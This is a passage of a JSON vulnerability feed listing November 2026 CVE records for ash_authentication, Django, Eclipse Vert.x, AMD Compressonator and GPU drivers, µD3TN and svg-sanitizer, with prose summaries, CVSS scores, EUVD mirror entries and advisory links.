5.0.0-rc.16.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://cna.erlef.org/cves/CVE-2026-118505.html","https://github.com/team-alembic/ash_authentication/commit/7117b5da5b73ee4cdb372e4adfbaff409b527125","https://github.com/team-alembic/ash_authentication/commit/800caa0d4a5bee1f28ad427f4c12fab72003a577","https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-55gf-3263-4r39","https://osv.dev/vulnerability/EEF-CVE-2026-118505"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:20","euvd":{"id":"EUVD-2026-116025","description":"Improper Restriction of Excessive Authentication Attempts vulnerability in team-alembic ash_authentication allows an unauthenticated attacker to guess passwords and one-time passwords without limit.\n\nThe password, magic link and OTP strategies enforce brute_force_strategy by adding a preparation only to the actions they generate. When the resource defines one of those actions itself, the strategy uses it as written and nothing checked that it carried the preparation, so the setting compiled and applied no limit. The generators produce exactly this: mix ash_authentication.install writes sign_in_with_password, request_password_reset_token and request_magic_link, mix ash_authentication.upgrade then adds brute_force_strategy to those strategies, and mix ash_authentication.add_strategy.otp writes its OTP actions without the preparation. Separately, with registration_enabled? true the OTP sign-in is a create action, which preparations do not run on, so brute_force_strategy {:preparation, module} never applied to it.\n\nThis issue affects ash_authentication: from 5.0.0-rc.4 before 5.0.0-rc.16.","published_time":"2026-11-03T15:47:36","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"EEF","references":["https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-55gf-3263-4r39","https://cna.erlef.org/cves/CVE-2026-118505.html","https://osv.dev/vulnerability/EEF-CVE-2026-118505","https://github.com/team-alembic/ash_authentication/commit/800caa0d4a5bee1f28ad427f4c12fab72003a577","https://github.com/team-alembic/ash_authentication/commit/7117b5da5b73ee4cdb372e4adfbaff409b527125"],"products":["ash_authentication","ash_authentication"],"vendors":["team-alembic"]},"ghsa":null},{"cve_id":"CVE-2026-113593","summary":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\nThe `django.middleware.cache.UpdateCacheMiddleware` and the `django.views.decorators.cache.cache_page()` decorator generate identical cache keys for requests that omit a header listed in the response’s `Vary` header and requests that include that header with an empty value, potentially allowing remote attackers to access private data cached for another request.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Andrew Gonzalez for reporting this issue.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.djangoproject.com/en/dev/releases/security/","https://github.com/django/django/commit/2006a2b068766bf332f1afcc32b7614d8e5759a2","https://github.com/django/django/commit/55e2e009b4f3996e5c55af7b22a8c41eb826e892","https://github.com/django/django/commit/9007fecd3633cfd90b093ebe106af564347c8aee","https://github.com/django/django/commit/c0b7e5e4e4546e8ddc58262f1945938bb9d9ac2d","https://groups.google.com/g/django-announce","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:19","euvd":{"id":"EUVD-2026-116021","description":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\nThe `django.middleware.cache.UpdateCacheMiddleware` and the `django.views.decorators.cache.cache_page()` decorator generate identical cache keys for requests that omit a header listed in the response’s `Vary` header and requests that include that header with an empty value, potentially allowing remote attackers to access private data cached for another request.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Andrew Gonzalez for reporting this issue.","published_time":"2026-11-03T15:42:34","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"DSF","references":["https://docs.djangoproject.com/en/dev/releases/security/","https://groups.google.com/g/django-announce","https://github.com/django/django/commit/c0b7e5e4e4546e8ddc58262f1945938bb9d9ac2d","https://github.com/django/django/commit/55e2e009b4f3996e5c55af7b22a8c41eb826e892","https://github.com/django/django/commit/2006a2b068766bf332f1afcc32b7614d8e5759a2","https://github.com/django/django/commit/9007fecd3633cfd90b093ebe106af564347c8aee","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"products":["Django","Django","Django"],"vendors":["djangoproject"]},"ghsa":null},{"cve_id":"CVE-2026-113733","summary":"An issue was discovered in Django 6.1 before 6.1.3 and 6.0 before 6.0.10.\nThe `django.contrib.admin.utils.display_for_field()` function did not obfuscate the password field of user models other than `AUTH_USER_MODEL`, or of an `AUTH_USER_MODEL` inheriting its password field from a concrete parent model through multi-table inheritance, which allows authenticated staff users with only the view permission on such a model to obtain full password hashes via the read-only change form.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Aaron chen for reporting this issue.","cvss":2.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":2.2,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.djangoproject.com/en/dev/releases/security/","https://github.com/django/django/commit/67cce9dcd23ddeec41ccf0abfe3431e3cd724365","https://github.com/django/django/commit/7d875c0a49d2a59335c65f6bf57970a5bac03be2","https://github.com/django/django/commit/f5b039a619b3b5394ea5b966e17c7546fda6f937","https://groups.google.com/g/django-announce","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:19","euvd":{"id":"EUVD-2026-116022","description":"An issue was discovered in Django 6.1 before 6.1.3 and 6.0 before 6.0.10.\nThe `django.contrib.admin.utils.display_for_field()` function did not obfuscate the password field of user models other than `AUTH_USER_MODEL`, or of an `AUTH_USER_MODEL` inheriting its password field from a concrete parent model through multi-table inheritance, which allows authenticated staff users with only the view permission on such a model to obtain full password hashes via the read-only change form.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Aaron chen for reporting this issue.","published_time":"2026-11-03T15:42:48","cvss":2.1,"cvss_version":"4.0","epss":0.0,"assigner":"DSF","references":["https://docs.djangoproject.com/en/dev/releases/security/","https://groups.google.com/g/django-announce","https://github.com/django/django/commit/f5b039a619b3b5394ea5b966e17c7546fda6f937","https://github.com/django/django/commit/7d875c0a49d2a59335c65f6bf57970a5bac03be2","https://github.com/django/django/commit/67cce9dcd23ddeec41ccf0abfe3431e3cd724365","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"products":["Django","Django"],"vendors":["djangoproject"]},"ghsa":null},{"cve_id":"CVE-2026-114582","summary":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\n`django.contrib.gis.gdal.SpatialReference` (and related `transform()` methods and `srs`/`srid` setters) do not restrict GDAL’s file and network access when parsing string input, which allows attackers to trigger server-side requests or local file reads via crafted spatial reference strings.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Adraca for reporting this issue.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.djangoproject.com/en/dev/releases/security/","https://github.com/django/django/commit/1c980729e53ef119d43a01d32ead30116c46cd36","https://github.com/django/django/commit/3a2ec4378b53c7b8ff5283ad7eba624ffa6f2b2f","https://github.com/django/django/commit/8bda4d0db15f28828d8db000287562efae5ce063","https://github.com/django/django/commit/a658355eb51feccbe90b5ca2e3b7f3543cd99e01","https://groups.google.com/g/django-announce","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:19","euvd":{"id":"EUVD-2026-116023","description":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\n`django.contrib.gis.gdal.SpatialReference` (and related `transform()` methods and `srs`/`srid` setters) do not restrict GDAL’s file and network access when parsing string input, which allows attackers to trigger server-side requests or local file reads via crafted spatial reference strings.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Adraca for reporting this issue.","published_time":"2026-11-03T15:43:04","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"DSF","references":["https://docs.djangoproject.com/en/dev/releases/security/","https://groups.google.com/g/django-announce","https://github.com/django/django/commit/3a2ec4378b53c7b8ff5283ad7eba624ffa6f2b2f","https://github.com/django/django/commit/a658355eb51feccbe90b5ca2e3b7f3543cd99e01","https://github.com/django/django/commit/1c980729e53ef119d43a01d32ead30116c46cd36","https://github.com/django/django/commit/8bda4d0db15f28828d8db000287562efae5ce063","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"products":["Django","Django","Django"],"vendors":["djangoproject"]},"ghsa":null},{"cve_id":"CVE-2026-118487","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.35] or [5.0.0, 5.2.2], the `FrameParser` in vertx-stomp creates a `RecordParser` without setting `maxRecordSize`, so any peer that streams bytes continuously without a newline character causes the parser to accumulate data indefinitely. Both the STOMP server and the STOMP client are affected: a malicious server can exploit this against a connecting client, and a malicious client can exploit this against a server before or after authentication. Sustained byte streaming exhausts JVM heap memory, crashing the affected process and causing a complete denial of service.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/vert-x3/vertx-stomp/security/advisories/GHSA-cchp-hff9-j7q7","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/521","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/864","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/864"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:19","euvd":{"id":"EUVD-2026-115915","description":"In Eclipse Vert.x versions [4.0.0, 4.5.35] or [5.0.0, 5.2.2], the `FrameParser` in vertx-stomp creates a `RecordParser` without setting `maxRecordSize`, so any peer that streams bytes continuously without a newline character causes the parser to accumulate data indefinitely. Both the STOMP server and the STOMP client are affected: a malicious server can exploit this against a connecting client, and a malicious client can exploit this against a server before or after authentication. Sustained byte streaming exhausts JVM heap memory, crashing the affected process and causing a complete denial of service.","published_time":"2026-11-03T15:27:18","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"eclipse","references":["https://github.com/vert-x3/vertx-stomp/security/advisories/GHSA-cchp-hff9-j7q7","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/521","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/864"],"products":["Eclipse Vert.x","Eclipse Vert.x"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-108147","summary":"An issue was discovered in Django 6.1 before 6.1.3, 6.0.4 before 6.0.10, and 5.2.13 before 5.2.19.\n`django.http.multipartparser.MultiPartParser` is subject to excessive memory consumption when processing multipart file uploads with base64 `Content-Transfer-Encoding`, which could be buffered entirely in memory before being passed to upload handlers.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Ignacy Kujawa for reporting this issue.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.djangoproject.com/en/dev/releases/security/","https://github.com/django/django/commit/4bd1f59a80adafddbd47527c66d92d6a224244d8","https://github.com/django/django/commit/5d95d9236fa4ededfb1931c60a65432385ece85f","https://github.com/django/django/commit/8b435411f11d69a0dd41a8837654323502e6058e","https://github.com/django/django/commit/a29ee4a55acedbe7ba0cb4d2db28c4e4d2848e02","https://groups.google.com/g/django-announce","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:18","euvd":{"id":"EUVD-2026-116018","description":"An issue was discovered in Django 6.1 before 6.1.3, 6.0.4 before 6.0.10, and 5.2.13 before 5.2.19.\n`django.http.multipartparser.MultiPartParser` is subject to excessive memory consumption when processing multipart file uploads with base64 `Content-Transfer-Encoding`, which could be buffered entirely in memory before being passed to upload handlers.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Ignacy Kujawa for reporting this issue.","published_time":"2026-11-03T15:41:38","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"DSF","references":["https://docs.djangoproject.com/en/dev/releases/security/","https://groups.google.com/g/django-announce","https://github.com/django/django/commit/5d95d9236fa4ededfb1931c60a65432385ece85f","https://github.com/django/django/commit/8b435411f11d69a0dd41a8837654323502e6058e","https://github.com/django/django/commit/a29ee4a55acedbe7ba0cb4d2db28c4e4d2848e02","https://github.com/django/django/commit/4bd1f59a80adafddbd47527c66d92d6a224244d8","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"products":["Django","Django","Django"],"vendors":["djangoproject"]},"ghsa":null},{"cve_id":"CVE-2026-111211","summary":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\n`django.contrib.gis.forms.widgets.BaseGeometryWidget.deserialize()`, used by `django.contrib.gis.forms.GeometryField`, does not escape invalid submitted values before logging them, which allows remote attackers to inject or forge log entries via a crafted geometry value.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Aaron chen for reporting this issue.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.djangoproject.com/en/dev/releases/security/","https://github.com/django/django/commit/1b747694d6a68a6b5d48cbe81c71053092a5d374","https://github.com/django/django/commit/af4319f7217e33ad5db747226765f09b49ec07ba","https://github.com/django/django/commit/b336d9a4e8a919d2e5f979b663de2b27e245b793","https://github.com/django/django/commit/b83bf870ee0006ab0dd84a01d1f3b0391320a51a","https://groups.google.com/g/django-announce","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:18","euvd":{"id":"EUVD-2026-116019","description":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\n`django.contrib.gis.forms.widgets.BaseGeometryWidget.deserialize()`, used by `django.contrib.gis.forms.GeometryField`, does not escape invalid submitted values before logging them, which allows remote attackers to inject or forge log entries via a crafted geometry value.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Aaron chen for reporting this issue.","published_time":"2026-11-03T15:41:58","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"DSF","references":["https://docs.djangoproject.com/en/dev/releases/security/","https://groups.google.com/g/django-announce","https://github.com/django/django/commit/af4319f7217e33ad5db747226765f09b49ec07ba","https://github.com/django/django/commit/b336d9a4e8a919d2e5f979b663de2b27e245b793","https://github.com/django/django/commit/1b747694d6a68a6b5d48cbe81c71053092a5d374","https://github.com/django/django/commit/b83bf870ee0006ab0dd84a01d1f3b0391320a51a","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"products":["Django","Django","Django"],"vendors":["djangoproject"]},"ghsa":null},{"cve_id":"CVE-2026-111362","summary":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\n`django.contrib.gis.gdal.OGRGeometry` does not restrict external coordinate reference system definitions in GeoJSON input, which allows remote attackers to cause server-side requests to attacker-selected destinations via crafted crs members.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Submersion Security Research Team for reporting this issue.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.djangoproject.com/en/dev/releases/security/","https://github.com/django/django/commit/31bef742da017bc71fdce9298c30984aad844102","https://github.com/django/django/commit/649fb7985f67d5936dfb8caae6a54c0870dc8eec","https://github.com/django/django/commit/e938f676fcca72f41247b0e96d4f0805e1722913","https://github.com/django/django/commit/ecb2b77b49890d6b2120f73fb3d7eb7ac7650143","https://groups.google.com/g/django-announce","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:18","euvd":{"id":"EUVD-2026-116020","description":"An issue was discovered in Django 6.1 before 6.1.3, 6.0 before 6.0.10, and 5.2 before 5.2.19.\n`django.contrib.gis.gdal.OGRGeometry` does not restrict external coordinate reference system definitions in GeoJSON input, which allows remote attackers to cause server-side requests to attacker-selected destinations via crafted crs members.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Submersion Security Research Team for reporting this issue.","published_time":"2026-11-03T15:42:14","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"DSF","references":["https://docs.djangoproject.com/en/dev/releases/security/","https://groups.google.com/g/django-announce","https://github.com/django/django/commit/ecb2b77b49890d6b2120f73fb3d7eb7ac7650143","https://github.com/django/django/commit/649fb7985f67d5936dfb8caae6a54c0870dc8eec","https://github.com/django/django/commit/e938f676fcca72f41247b0e96d4f0805e1722913","https://github.com/django/django/commit/31bef742da017bc71fdce9298c30984aad844102","https://www.djangoproject.com/weblog/2026/nov/03/security-releases/"],"products":["Django","Django","Django"],"vendors":["djangoproject"]},"ghsa":null},{"cve_id":"CVE-2026-40652","summary":"An out-of-bounds read condition in the AMD Compressonator SDK could allow an attacker with local access to supply a specially crafted Truevision Advanced Raster Graphics Adapter (TGA) file to a user or an automated pipeline, potentially resulting in disclosure of sensitive heap memory contents or denial of service.","cvss":5.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:39","euvd":{"id":"EUVD-2026-115879","description":"An out-of-bounds read condition in the AMD Compressonator SDK could allow an attacker with local access to supply a specially crafted Truevision Advanced Raster Graphics Adapter (TGA) file to a user or an automated pipeline, potentially resulting in disclosure of sensitive heap memory contents or denial of service.","published_time":"2026-11-03T15:08:41","cvss":5.2,"cvss_version":"4.0","epss":0.0,"assigner":"AMD","references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"products":["AMD Compressionator SDK"],"vendors":["AMD"]},"ghsa":null},{"cve_id":"CVE-2026-40659","summary":"An integer overflow condition in the AMD Compressonator SDK could allow an attacker with local access to supply a specially crafted DirectDraw Surface (DDS) file, potentially resulting in denial of service (DoS).","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:39","euvd":{"id":"EUVD-2026-115876","description":"An integer overflow condition in the AMD Compressonator SDK could allow an attacker with local access to supply a specially crafted DirectDraw Surface (DDS) file, potentially resulting in denial of service (DoS).","published_time":"2026-11-03T15:08:26","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"AMD","references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"products":["AMD Compressionator SDK"],"vendors":["AMD"]},"ghsa":null},{"cve_id":"CVE-2026-40660","summary":"A heap-based out-of-bounds (OOB) read vulnerability in the AMD Compressonator SDK could allow an attacker with local access to read out-of-bounds heap memory, potentially resulting in information disclosure or application crash.","cvss":5.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:39","euvd":{"id":"EUVD-2026-115877","description":"A heap-based out-of-bounds (OOB) read vulnerability in the AMD Compressonator SDK could allow an attacker with local access to read out-of-bounds heap memory, potentially resulting in information disclosure or application crash.","published_time":"2026-11-03T15:08:32","cvss":5.2,"cvss_version":"4.0","epss":0.0,"assigner":"AMD","references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"products":["AMD Compressionator SDK"],"vendors":["AMD"]},"ghsa":null},{"cve_id":"CVE-2026-40661","summary":"An out-of-bounds write (OOW) condition in the AMD Compressonator SDK could allow an attacker with local access to supply a specially crafted DirectDraw Surface (DDS) file to a user or an automated pipeline, potentially resulting in heap corruption or denial of service (DoS).","cvss":5.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:39","euvd":{"id":"EUVD-2026-115878","description":"An out-of-bounds write (OOW) condition in the AMD Compressonator SDK could allow an attacker with local access to supply a specially crafted DirectDraw Surface (DDS) file to a user or an automated pipeline, potentially resulting in heap corruption or denial of service (DoS).","published_time":"2026-11-03T15:08:37","cvss":5.2,"cvss_version":"4.0","epss":0.0,"assigner":"AMD","references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6032.html"],"products":["AMD Compressionator SDK"],"vendors":["AMD"]},"ghsa":null},{"cve_id":"CVE-2026-43603","summary":"A NULL pointer dereference in the Linux GPU driver could potentially lead to a kernel crash and result in denial of service.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6034.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:39","euvd":{"id":"EUVD-2026-115875","description":"A NULL pointer dereference in the Linux GPU driver could potentially lead to a kernel crash and result in denial of service.","published_time":"2026-11-03T15:06:50","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"AMD","references":["https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6034.html"],"products":["AMD Ryzen™ 7020 Series Processors with Radeon™ Graphics","AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics","AMD Instinct™ MI355X","AMD Ryzen™ AI Max 300 Series Processors","AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics","AMD Ryzen™ 4000 Series Desktop Processors","AMD Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics","AMD Ryzen™ 7000 Series Desktop Processors","AMD Radeon™ RX 5000 Series Graphics Products","AMD Instinct™ MI300A","AMD Instinct™ MI250","AMD Radeon™ PRO W5000 Series Graphics Products","AMD Ryzen™ 8000 Series Desktop Processors","AMD Radeon™ PRO V710","AMD Ryzen™ 8040 Series Mobile Processors with Radeon™ Graphics","AMD Instinct™ MI308X","AMD Instinct™ MI300X","AMD Ryzen™ 9000HX Series Processors","AMD Radeon™ RX 7000 Series Graphics Products","AMD Ryzen™ AI 300 Series Processors","AMD Ryzen™ 9000 Series Desktop Processors","AMD Ryzen™ 7030 Series Mobile Processors with Radeon™ Graphics","AMD Ryzen™ AI 400 Series Processors","AMD Instinct™ MI250X","AMD Radeon™ PRO W6000 Series Graphics Products","AMD Ryzen™ 5000 Series Desktop Processors with Radeon™ Graphics","AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics","AMD EPYC™ 4005 Series Processors","AMD Ryzen™ AI Max 400 Series Processors","AMD Radeon™ RX 6000 Series Graphics Products","AMD EPYC™ 4004 Series Processors","AMD Instinct™ MI350X","AMD Instinct™ MI210","AMD Instinct™ MI325X","AMD Ryzen™ 7040 Series Mobile Processors with Radeon™ Graphics ","AMD Radeon™ AI PRO R9000 Series Graphics Products","AMD Radeon™ RX 9000 Series Graphics Products","AMD Radeon™ PRO V620","AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics","AMD Ryzen™ 7045 Series Mobile Processors with Radeon™ Graphics","AMD Radeon™ PRO W7000 Series Graphics Products"],"vendors":["AMD"]},"ghsa":null},{"cve_id":"CVE-2026-121508","summary":"Use-After-Free in µD3TN BPv6 Fragmenter Cleanup allows Unauthenticated Remote Attacker to Cause DoS on Allocation Failure","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/d3tn/ud3tn/-/work_items/291"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:38","euvd":{"id":"EUVD-2026-115829","description":"Use-After-Free in µD3TN BPv6 Fragmenter Cleanup allows Unauthenticated Remote Attacker to Cause DoS on Allocation Failure","published_time":"2026-11-03T14:17:59","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/d3tn/ud3tn/-/work_items/291"],"products":["µD3TN"],"vendors":["D3TN GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-121510","summary":"Remote Unauthenticated Heap Out-of-Bounds Write in µD3TN BPv6 Administrative Record Parser allows Unauthenticated Remote Attacker to Reliably Cause DoS","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/d3tn/ud3tn/-/work_items/289"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:38","euvd":{"id":"EUVD-2026-115830","description":"Remote Unauthenticated Heap Out-of-Bounds Write in µD3TN BPv6 Administrative Record Parser allows Unauthenticated Remote Attacker to Reliably Cause DoS","published_time":"2026-11-03T14:18:09","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/d3tn/ud3tn/-/work_items/289"],"products":["µD3TN"],"vendors":["D3TN GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-121511","summary":"Heap Out-of-Bounds Read in µD3TN BPv6/BPv7 Fragmenter allows Local Attacker to Read Memory and Reliably Cause DoS","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/d3tn/ud3tn/-/work_items/290"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:38","euvd":{"id":"EUVD-2026-115831","description":"Heap Out-of-Bounds Read in µD3TN BPv6/BPv7 Fragmenter allows Local Attacker to Read Memory and Reliably Cause DoS","published_time":"2026-11-03T14:18:14","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/d3tn/ud3tn/-/work_items/290"],"products":["µD3TN"],"vendors":["D3TN GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-121512","summary":"Memory Leak with Amplification in µD3TN BPv6 EID Reference Handling allows Unauthenticated Remote Attacker to Cause DoS","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/d3tn/ud3tn/-/work_items/292"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:38","euvd":{"id":"EUVD-2026-115832","description":"Memory Leak with Amplification in µD3TN BPv6 EID Reference Handling allows Unauthenticated Remote Attacker to Cause DoS","published_time":"2026-11-03T14:18:19","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/d3tn/ud3tn/-/work_items/292"],"products":["µD3TN"],"vendors":["D3TN GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-121513","summary":"Off-by-one Heap Overflow in µD3TN v0.15.1 SPP Parser allows Unauthenticated Remote Attacker to Reliably Cause DoS","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.com/d3tn/ud3tn/-/work_items/288"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T15:17:38","euvd":{"id":"EUVD-2026-115833","description":"Off-by-one Heap Overflow in µD3TN v0.15.1 SPP Parser allows Unauthenticated Remote Attacker to Reliably Cause DoS","published_time":"2026-11-03T14:18:29","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"GitLab","references":["https://gitlab.com/d3tn/ud3tn/-/work_items/288"],"products":["µD3TN"],"vendors":["D3TN GmbH"]},"ghsa":null},{"cve_id":"CVE-2026-121447","summary":"svg-sanitizer before 1.1.0 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization by placing javascript: URLs in the animateTransform values attribute. Attackers can upload crafted SVG files whose animateTransform targets the href attribute, executing arbitrary JavaScript when Safari users click the 